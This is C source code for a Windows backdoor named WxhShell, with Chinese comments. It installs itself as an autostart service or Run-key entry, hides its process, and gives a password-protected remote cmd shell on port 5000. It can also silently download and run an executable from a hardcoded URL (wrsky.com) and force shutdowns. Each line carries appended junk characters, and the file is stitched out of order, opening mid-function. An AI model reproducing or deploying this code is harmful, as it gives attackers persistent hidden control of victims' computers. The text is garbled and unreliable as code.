  case 'd': { ESO(~X+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IQM!dC  
    if(Boot(SHUTDOWN)) Cxh9rUe.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V><P`  
    else { y?rsfIth`  
    closesocket(wsh); s#Le`pGoW  
    ExitThread(0); 6?_Uow}  
    } 0`x<sjG\q  
    break; ecHy. 7H  
    } b,c vQD  
  // 获取shell L$b9|j7  
  case 's': { !O5UE  
    CmdShell(wsh); .,c8cq?  
    closesocket(wsh); _uBf.Qfs  
    ExitThread(0); !yxb<  
    break; a%AU9?/q#  
  } C{c (K!  
  // 退出 tly:$;K  
  case 'x': { PH]q#/'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H`y- "L8q  
    CloseIt(wsh); `mMD e  
    break; /`1zkBj<&  
    } 3{%/1>+x5  
  // 离开 D\k);BU~  
  case 'q': { H(pOR< `  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0trFLX  
    closesocket(wsh); ';1 c  
    WSACleanup(); q%JV"9,  
    exit(1); nyIb8=f  
    break; n\ IVpgP  
        } YB 4R8}4  
  } q)P<lKi  
  } $/D@=P kc  
tHGK<rb  
  // 提示信息 7.5G4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C }!$'C|  
} ^)SvH  
  } GJ*AyYG  
aqMZ%~7  
  return; {ng  
} Jjy}m0)#W_  
9u:MF0:W  
// shell模块句柄 z` sH  
int CmdShell(SOCKET sock) l/TH"z(  
{ We" "/X  
STARTUPINFO si; wHAh6lm  
ZeroMemory(&si,sizeof(si)); 'n=FBu ^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bDr'W   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `xtN+y F  
PROCESS_INFORMATION ProcessInfo; rz3&khi  
char cmdline[]="cmd"; A1:Fe9q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p0@iGyd  
  return 0; rf9RG!  
} i P/I% D  
*kDXx&7B$  
// 自身启动模式 uZqo"  
int StartFromService(void) x$Lt?'  
{ ]$z~;\T  
typedef struct <cl$?].RE!  
{ ]AN)M>  
  DWORD ExitStatus; ] $%{nj<  
  DWORD PebBaseAddress; s#d>yx_b  
  DWORD AffinityMask; E=LaPjEIj  
  DWORD BasePriority; 6!bf,T]  
  ULONG UniqueProcessId; HkQ2G}<  
  ULONG InheritedFromUniqueProcessId; p}j{ <y  
}   PROCESS_BASIC_INFORMATION; I&^?,Fyy<  
5B(|!Xq;I  
PROCNTQSIP NtQueryInformationProcess; ;B7>/q;g  
Y(&phv&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p>MX}^6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mX<D]Z< k  
h IGa);g  
  HANDLE             hProcess; {!=I GFe  
  PROCESS_BASIC_INFORMATION pbi; w PV`j:?'  
R+^/(Ws'<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w("jyvV[C  
  if(NULL == hInst ) return 0; #|'8O  
2[W Qq)\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %2 >FSE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C~l5D4D#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sm-nb*ZyC  
s_RYYaM  
  if (!NtQueryInformationProcess) return 0; (Q\w4?ci  
7}nOF{RH]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /A_ IS`  
  if(!hProcess) return 0; 9gWQGkql  
)of_"gZ$3A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MT0}MMr  
b?r0n]  
  CloseHandle(hProcess); w| >Y&/IX  
/a]+xL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3 \kT#nr  
if(hProcess==NULL) return 0; I{M2nQi  
{8t;nsdm!  
HMODULE hMod; Ue8_Q8q5  
char procName[255]; ;  I=z  
unsigned long cbNeeded; E fqa*,k  
c>]_,Br~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZkqC1u3  
ka]n+"~==\  
  CloseHandle(hProcess); y{kXd1,  
dso\+s  
if(strstr(procName,"services")) return 1; // 以服务启动 zO!`sPP  
A]R"C:o  
  return 0; // 注册表启动 |=7%Edkd  
} #'"h+[XY  
|Q7Ch]G  
// 主模块 >q]r)~8F^  
int StartWxhshell(LPSTR lpCmdLine) NMOTWA }2  
{ xNjA>S\]W5  
  SOCKET wsl; ;7qk9rz4  
BOOL val=TRUE; k5<lkC2z  
  int port=0; {VI%]n{M  
  struct sockaddr_in door; 5Lue.U%a  
y_J{+  
  if(wscfg.ws_autoins) Install(); TN l$P~X>  
tl#hCy  
port=atoi(lpCmdLine); |>[w $  
dAga(<K  
if(port<=0) port=wscfg.ws_port; ^ 41 p+  
I]T-}pG  
  WSADATA data; 2wu 5`Z[E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m@jOIt!<  
+L_.XToq-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &npf %Eub  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CNP?i(Rk  
  door.sin_family = AF_INET; q.MM|;_u`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !&#CEF@J  
  door.sin_port = htons(port); xv1$,|^ts  
{5*+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `5x,N%9{  
closesocket(wsl); -'ZP_$sA  
return 1; m 81\cg  
} % 3FI>\3  
c5Offnq'1  
  if(listen(wsl,2) == INVALID_SOCKET) { {\ .2h  
closesocket(wsl); 2b!b-  
return 1; ib& |271gG  
} Q>||HtF$A  
  Wxhshell(wsl); &M<431y  
  WSACleanup(); 1f~_# EIC  
`7'(U)x,F  
return 0; 9#_49euy|P  
QI!:+8  
} {x-g?HB  
j^LnHVHk1  
// 以NT服务方式启动 Xst&QKU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4CNK ]2  
{ i3f/{D/  
DWORD   status = 0; 6g$+))g  
  DWORD   specificError = 0xfffffff; ,m0=zH4+:  
 {!x-kF_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lJq %me;4m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i++ F&r[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <Qwi 0$  
  serviceStatus.dwWin32ExitCode     = 0;  vlE#z  
  serviceStatus.dwServiceSpecificExitCode = 0; $|A vT;4  
  serviceStatus.dwCheckPoint       = 0; O:D`6U+0  
  serviceStatus.dwWaitHint       = 0; |Z!C`G[  
?5Lom#^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E4 JS   
  if (hServiceStatusHandle==0) return; f *)t<1f  
w}7`Vas9  
status = GetLastError(); w/ZV9"BhE  
  if (status!=NO_ERROR) FUMAvVQ  
{ viKN:n! Ev  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rJZ-/]Xf!6  
    serviceStatus.dwCheckPoint       = 0; BhNwC[G?m  
    serviceStatus.dwWaitHint       = 0; LG51e7_gFi  
    serviceStatus.dwWin32ExitCode     = status; n) `4*d$`  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6s>PZh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z#O{rwnl  
    return; ;9b?[G  
  } [?;oiEe.|  
eeuAo&L&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `(16_a  
  serviceStatus.dwCheckPoint       = 0; G.c s-f  
  serviceStatus.dwWaitHint       = 0; W>s<&Vb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N[=nh)m7b  
} ~|?2<g$gYR  
UlQ}   
// 处理NT服务事件,比如:启动、停止 g,x$z~zU{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w6Ue5Ix,!  
{ g[!sGa &  
switch(fdwControl) o'R_kadN[T  
{ K@ W~  
case SERVICE_CONTROL_STOP: IgSe%B  
  serviceStatus.dwWin32ExitCode = 0; .8g&V|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mVk:[ }l6  
  serviceStatus.dwCheckPoint   = 0; JCE364$$"  
  serviceStatus.dwWaitHint     = 0; ,{YC|uB  
  { k98--kc5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +]UPY5:F  
  } gNe{P~ $=  
  return; !L>'g  
case SERVICE_CONTROL_PAUSE: v82@']IN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |nMbf  
  break; j^:\a\-1  
case SERVICE_CONTROL_CONTINUE: RkC?(p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aiUn bP  
  break; `\#Q r|GC  
case SERVICE_CONTROL_INTERROGATE: [NC^v.[1[  
  break; \5X34'7   
}; {9Y@?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [gD02a: u  
} vO <;Gnh~  
%_} #IS1  
// 标准应用程序主函数 e@@kTny(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5>$*#0%"}  
{ gTiDV{ Ip  
Ho*S >Y  
// 获取操作系统版本 0]NjsOU =  
OsIsNt=GetOsVer(); EYMwg_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &>sG x K  
Jtc?p{  
  // 从命令行安装 h]G }E9\l  
  if(strpbrk(lpCmdLine,"iI")) Install(); '(I"54W  
&zUo",}9  
  // 下载执行文件 7*u0)Hog  
if(wscfg.ws_downexe) { !/Hln;{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'g( R4deCX  
  WinExec(wscfg.ws_filenam,SW_HIDE); wgfn:LR  
} jhK&Z7;  
^Fy) oWS  
if(!OsIsNt) { 0vDP- qJV-  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fx)]AJ~[t  
HideProc(); Xdw%Hw  
StartWxhshell(lpCmdLine); YjLPW@  
} ^> ZQ:xs@(  
else IRXpk 6|  
  if(StartFromService()) (z+[4l7  
  // 以服务方式启动 oM QH- \(}  
  StartServiceCtrlDispatcher(DispatchTable); :9]23'Md  
else NIQa{R/H  
  // 普通方式启动 H=7dp%b"  
  StartWxhshell(lpCmdLine); Mm|HA@W^  
rcNM,!dZ  
return 0; ^!E;+o' t  
} aRj3TtFh  
r=8]Ub[  
rJD>]3D5p  
u~% m(  
=========================================== T?E2;j0h'#  
u=k\]W-  
ENjrv   
vg *+>lbA  
et/mfzV  
CSwNsFDR%  
" m6aoh^I  
-mcLT@  
#include <stdio.h> Po93&qE  
#include <string.h> $;"@;Lj%,  
#include <windows.h> ,_P(!7Z8  
#include <winsock2.h> Nf1) 5  
#include <winsvc.h> A~O 'l&KB  
#include <urlmon.h> 5|Vb)QBv%  
$kkdB,y  
#pragma comment (lib, "Ws2_32.lib") F1gDeLmJ  
#pragma comment (lib, "urlmon.lib") j@2-^q:`  
{n #  
#define MAX_USER   100 // 最大客户端连接数 [ZDJs`h!`  
#define BUF_SOCK   200 // sock buffer sRt|G  
#define KEY_BUFF   255 // 输入 buffer Xgr|~(^  
v;jrAND  
#define REBOOT     0   // 重启 hq(3%- 7&  
#define SHUTDOWN   1   // 关机 HwM:bY N  
"yL&?B"9@  
#define DEF_PORT   5000 // 监听端口 E8#y9q  
!(l,+@j  
#define REG_LEN     16   // 注册表键长度 e7pN9tXGf  
#define SVC_LEN     80   // NT服务名长度  ,Ad\!  
&> }MoB  
// 从dll定义API z[ IG+2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `[57U,v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~F uD6f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2ggW4`"c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .J&~u0g  
m S!/>.1[  
// wxhshell配置信息 tj{rSg7{  
struct WSCFG { K xh)'aal  
  int ws_port;         // 监听端口 +- c#UO>  
  char ws_passstr[REG_LEN]; // 口令 _mA[^G=gY  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8t9sdqM/C  
  char ws_regname[REG_LEN]; // 注册表键名 ' G) Wy|*  
  char ws_svcname[REG_LEN]; // 服务名 ax7u b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Scxf5x-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LPewoAXO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )u3<lpoTy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $N:m 9R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5wP(/?sRy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3_vggK%  
ag[yM  
}; - uliND  
>d#B149  
// default Wxhshell configuration |44CD3A%  
struct WSCFG wscfg={DEF_PORT, ++Az~{W7  
    "xuhuanlingzhe", gaTI:SKzc  
    1, 78y4nRQ*  
    "Wxhshell", dy|r:~j3  
    "Wxhshell", )Ky 0q-W  
            "WxhShell Service", tv\P$|LV`8  
    "Wrsky Windows CmdShell Service", LW ntZ.  
    "Please Input Your Password: ", ~cU,3g  
  1, 3Mr)oM< Q  
  "http://www.wrsky.com/wxhshell.exe", v\$XhOK  
  "Wxhshell.exe" F RS@-P  
    }; vnXpC!1  
vA(3H/)-  
// 消息定义模块 &$< S1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mZMLDs:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Fp )/Ih  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~`8`kk8  
char *msg_ws_ext="\n\rExit."; aMh2[I  
char *msg_ws_end="\n\rQuit."; 1UxRN7  
char *msg_ws_boot="\n\rReboot..."; > YN<~z-  
char *msg_ws_poff="\n\rShutdown..."; Tet,mzVuu  
char *msg_ws_down="\n\rSave to "; YNk?1#k?i  
]*I&104{  
char *msg_ws_err="\n\rErr!"; QP[w{T  
char *msg_ws_ok="\n\rOK!"; CNf eHMT  
^J@Y?CQl\  
char ExeFile[MAX_PATH]; [8O`VSV3  
int nUser = 0; vTP'\^;  
HANDLE handles[MAX_USER]; HO & #Lv  
int OsIsNt; xxiEL2"`>  
Ler9~}\D  
SERVICE_STATUS       serviceStatus; sE-"TNONZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {.Nt#l  
mw?,oiT,)  
// 函数声明 =GFlaGD  
int Install(void); |w:7).P  
int Uninstall(void); ]U'KYrh  
int DownloadFile(char *sURL, SOCKET wsh); DQKhR sC  
int Boot(int flag); LD]XN'?"W  
void HideProc(void); gd/W8*NFR  
int GetOsVer(void); l,,5OZw  
int Wxhshell(SOCKET wsl); eX;"kO  
void TalkWithClient(void *cs); t6s#19g  
int CmdShell(SOCKET sock); Y7!,s-v4W  
int StartFromService(void); a;([L8^7$l  
int StartWxhshell(LPSTR lpCmdLine); @Je{;1   
611:eLyy&l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bWjW_$8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,#D &*  
d}ue/hdw  
// 数据结构和表定义 @ ;rU#  
SERVICE_TABLE_ENTRY DispatchTable[] = /v=MGX@r  
{ A!goR-J]  
{wscfg.ws_svcname, NTServiceMain}, `')3}  
{NULL, NULL} 5I t+ S+a  
}; O8 k$Uc  
1_XdL?h#o  
// 自我安装 $I>.w4G}  
int Install(void) LGRX@nF#  
{ RUSBJsMB  
  char svExeFile[MAX_PATH]; Jr 9\j3J{  
  HKEY key; 6S<J'9sE  
  strcpy(svExeFile,ExeFile); +<8r?d2  
gbQrSJs!Zh  
// 如果是win9x系统,修改注册表设为自启动 ix*n<lCoC  
if(!OsIsNt) { dM#\h*:=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lE$X9yIt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 60^dzi!vs  
  RegCloseKey(key); F7cv`i?2."  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / u>")f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); om;jXf}A  
  RegCloseKey(key); dJ:EXVU  
  return 0; 9M<qk si  
    } ]NG`MZ  
  } <E!M<!h  
} ? vk;b!  
else { 3QU<vdtr  
O62H4oT  
// 如果是NT以上系统,安装为系统服务 V. \do"m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iHWl%]7sN  
if (schSCManager!=0) A$[@AY$MI  
{ F0+u#/#  
  SC_HANDLE schService = CreateService tE=P9 \4  
  ( 6\/C]![%  
  schSCManager, ?uOdqMJV  
  wscfg.ws_svcname, m7g; psg  
  wscfg.ws_svcdisp, E3;[*ve  
  SERVICE_ALL_ACCESS, wM_k D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U]d{hY."  
  SERVICE_AUTO_START, LF{d'jJ&K  
  SERVICE_ERROR_NORMAL, NFU 5+X-c  
  svExeFile, LIirOf~e;!  
  NULL, gKn"e|A  
  NULL, 9.D'!  
  NULL, YYZE-{ %  
  NULL, qL UbRp  
  NULL =<n+AqJ%  
  ); >&Y8VLcK  
  if (schService!=0) (lTM^3 }  
  { 3dQV5E.  
  CloseServiceHandle(schService); s?7g3H5#0k  
  CloseServiceHandle(schSCManager); N[ z7<$$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); / ~w\Npf0  
  strcat(svExeFile,wscfg.ws_svcname); 5e6]v2 k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IF$f^$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y]+i. 8[  
  RegCloseKey(key); \C~Y  
  return 0; kd9hz-*  
    } /i"L@t)\t  
  } YeptYW@xfw  
  CloseServiceHandle(schSCManager); _;L9&>!p6  
} ^MKvZ DOP  
} 9ZeTS~i  
D CcM~  
return 1; '8}*erAg  
} ja#E}`wC4  
: H0+}=  
// 自我卸载 3?.3Z!H/  
int Uninstall(void) E+]gC  
{ `N]!-=o  
  HKEY key; u-f_,],p  
^CDQ75tR  
if(!OsIsNt) { -|"mB"Dc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OB>Pk_eQK  
  RegDeleteValue(key,wscfg.ws_regname); }{J<Wzw  
  RegCloseKey(key); R<a7TkL4?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RxjC sjg  
  RegDeleteValue(key,wscfg.ws_regname); +F]X  
  RegCloseKey(key); /P Qz$e-!Y  
  return 0; \%K< S  
  } #\GWYWkR  
} a=.A/;|0*  
} "z1\I\ ^  
else { $*\[I{Zau}  
jyb/aov  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )F8G q,  
if (schSCManager!=0) WIa4!\Ky!  
{ \|L ~#{a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vxzh|uF  
  if (schService!=0) TG=) KS  
  { %J5zfNe)&  
  if(DeleteService(schService)!=0) { ^%VMp>s  
  CloseServiceHandle(schService); *[) b}?  
  CloseServiceHandle(schSCManager); {AoH  
  return 0; \/xWsbG\  
  } f-E]!\Pg  
  CloseServiceHandle(schService); Rs$k3   
  } *&Np;^~  
  CloseServiceHandle(schSCManager); U^-:qT;CX  
} 9r+]V=  
} 3<88j&9  
KnaQhZ  
return 1; [nZ3}o  
} pd?3_yU  
/bjyV]N  
// 从指定url下载文件 NldeD2~H  
int DownloadFile(char *sURL, SOCKET wsh) =6y4*f  
{ WZOi,  
  HRESULT hr; zWb>y  
char seps[]= "/"; n ,!PyJ  
char *token; KB0 HM  
char *file; 8 2nQ]  
char myURL[MAX_PATH]; AcqsXBKd  
char myFILE[MAX_PATH]; O(2)A>}  
jjN ]*{s  
strcpy(myURL,sURL); _DnZ=&=MA  
  token=strtok(myURL,seps); <5%x3e"7u  
  while(token!=NULL) jQxv` H  
  { #2<.0@@ TI  
    file=token; $b,o3eC  
  token=strtok(NULL,seps); 56Z 1jN^U  
  } B[%FZm$`M  
oKLL~X>!U  
GetCurrentDirectory(MAX_PATH,myFILE); }1 = V`N(  
strcat(myFILE, "\\"); oJE~dY$Q  
strcat(myFILE, file); -r)Q|U  
  send(wsh,myFILE,strlen(myFILE),0); A>8"8=C  
send(wsh,"...",3,0); vq-Tq>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2Z;wU]  
  if(hr==S_OK) _Q_"_*e  
return 0; aKkL0 D  
else 2I(b ad  
return 1; |75>8;  
=~}\g;K1Q  
} KSe `G;{  
P1tc*2Z  
// 系统电源模块 5v >0$Y{  
int Boot(int flag) r%\(5H f  
{ $ lz\t e  
  HANDLE hToken; #usi1UWB#Q  
  TOKEN_PRIVILEGES tkp; :y^0]In  
'id] <<F  
  if(OsIsNt) { p uEu v6F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fTQRn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^Tgu]t   
    tkp.PrivilegeCount = 1; K:hZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lO&TSPD^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v[~e=^IIsl  
if(flag==REBOOT) { 6g06s @kz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )!M %clm.  
  return 0; \ <b-I  
} }i0(^"SoXZ  
else { pxy=edd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JG\T2/b  
  return 0; zg L0v5vk  
} 53=5xE= `D  
  } nQm7At  
  else { =8:m:Y&|`G  
if(flag==REBOOT) { A Ws y9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nW#UBtZ  
  return 0; H <7r  
} `L n,qiA  
else { .;nU" a3'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /E8{:>2  
  return 0; Jse;@K5y  
} CEbZj z|  
} wtlIyE  
;n1< 1M>!  
return 1; ]'+PJdA  
} $3.hZx>  
c%,@O&o  
// win9x进程隐藏模块 ' e @`HG  
void HideProc(void) kYMKVR  
{ H5wzzSV!:B  
/B eA-\B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?5@!r>i=<  
  if ( hKernel != NULL ) euO!vLdX  
  { B. '&[A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "*E06=fiG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YhQ;>Ko  
    FreeLibrary(hKernel); {-?^j{O0.  
  } -CePtq`  
.&Tcds  
return; ++{,1wY\  
} g>].m8DZ'  
sv}k_6XgY  
// 获取操作系统版本 ?VUW.-  
int GetOsVer(void) #Xdj:T<*  
{ MC=pN(l  
  OSVERSIONINFO winfo; Jw"fqr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q[sj/  
  GetVersionEx(&winfo); D3,9X#B=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fH{ _X  
  return 1; ^&^~LKl~  
  else >|[ l?`  
  return 0; W:5,zFW  
} woI.1e5  
[3KP@'52k  
// 客户端句柄模块 )P>-~G2P  
int Wxhshell(SOCKET wsl) +b O]9* g]  
{  NW$_w  
  SOCKET wsh; UqsJ44QEZ  
  struct sockaddr_in client; MLVrL r t  
  DWORD myID; 1dsMmD[O  
  %4  
  while(nUser<MAX_USER) {|:ro!&  
{ @ ={Hx$zL  
  int nSize=sizeof(client); \Z~|ry0v{d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f&5'1tG  
  if(wsh==INVALID_SOCKET) return 1; cviPCjM  
5SOl:{A +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1^R[kaY  
if(handles[nUser]==0) qpjG_G5/  
  closesocket(wsh); .eZsKc-@  
else PRTn~!Z0  
  nUser++; ePD~SO9*  
  } '+8`3['  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4n}tDHvd  
<,:p?36  
  return 0; "CH3\O\  
} L_ &`  
^}VAH#c  
// 关闭 socket ph5rS<  
void CloseIt(SOCKET wsh) ],.1=iY  
{ +c&oF,=}!P  
closesocket(wsh); ;^yR,32F  
nUser--; 4 C7z6VWg  
ExitThread(0); Ad%3 fvn  
} V1h&{D\"  
o$4xinK  
// 客户端请求句柄 )c;zNs  
void TalkWithClient(void *cs) P84uEDY  
{ *{K?JB#W  
z&R #j  
  SOCKET wsh=(SOCKET)cs; D=>[~u3H  
  char pwd[SVC_LEN]; ZjB]pG+  
  char cmd[KEY_BUFF]; z+~klv 3  
char chr[1]; }4dbS ;C<  
int i,j; N?Nu'  
;1gWz  
  while (nUser < MAX_USER) { |O!G[|/3  
kuX{2h*`  
if(wscfg.ws_passstr) { q2SlK8`QJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7k<6oM1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BSyl!>G6n8  
  //ZeroMemory(pwd,KEY_BUFF); 45 \W%8  
      i=0; igGg[I1?  
  while(i<SVC_LEN) { 4lCEzWo[/  
XCAy _fL<B  
  // 设置超时 Mtw7aK  
  fd_set FdRead; |<2g^ZK)  
  struct timeval TimeOut; :U{$G( <  
  FD_ZERO(&FdRead); GJeP~   
  FD_SET(wsh,&FdRead); <F%c"Rkh  
  TimeOut.tv_sec=8; #'qDNY@w}  
  TimeOut.tv_usec=0; 7]J7'!Iz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $URL7hrhU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CW+]Jv]"  
Ow3t2G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O_S%PX  
  pwd=chr[0]; &;x*uG  
  if(chr[0]==0xd || chr[0]==0xa) { kWZ@v+Mk3  
  pwd=0; ;Yr?"|  
  break; # s}&  
  } :svKE.7{  
  i++; mD"[z}r)  
    } gXb * zt2  
n)bbEXO  
  // 如果是非法用户,关闭 socket pPD}>q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xj#anr  
} <Na .6P  
z&Kh$ $)[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y$Rh$e K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g^mnYg5  
SJai<>k h  
while(1) { {^ jRV@  
FpYeuH%  
  ZeroMemory(cmd,KEY_BUFF); JjC& io  
J=`2{ 'l  
      // 自动支持客户端 telnet标准   Rk$  
  j=0; CTP!{<ii  
  while(j<KEY_BUFF) { d"nms\=p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +N>z|T<  
  cmd[j]=chr[0]; *~%QXNn`  
  if(chr[0]==0xa || chr[0]==0xd) { :|z.F+-/  
  cmd[j]=0; * ujJpJZ2  
  break; ]fdxpqz  
  } 25H=RTw  
  j++; 7W]0bJK+E  
    } tZz *O%  
Sdr,q9+__  
  // 下载文件 e&\+o}S  
  if(strstr(cmd,"http://")) { VEG p!~D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W2T-TI,>PC  
  if(DownloadFile(cmd,wsh)) $ vt6~nfI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sa 8T'%W  
  else K2@],E?e%|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C(J+tbk  
  } b.#0{*/G  
  else { 2,^ U8/  
i[O{ M`Z%  
    switch(cmd[0]) { o ?`LZd:{  
  j FH wu*  
  // 帮助 x T{s%wE  
  case '?': { Id<O/C  
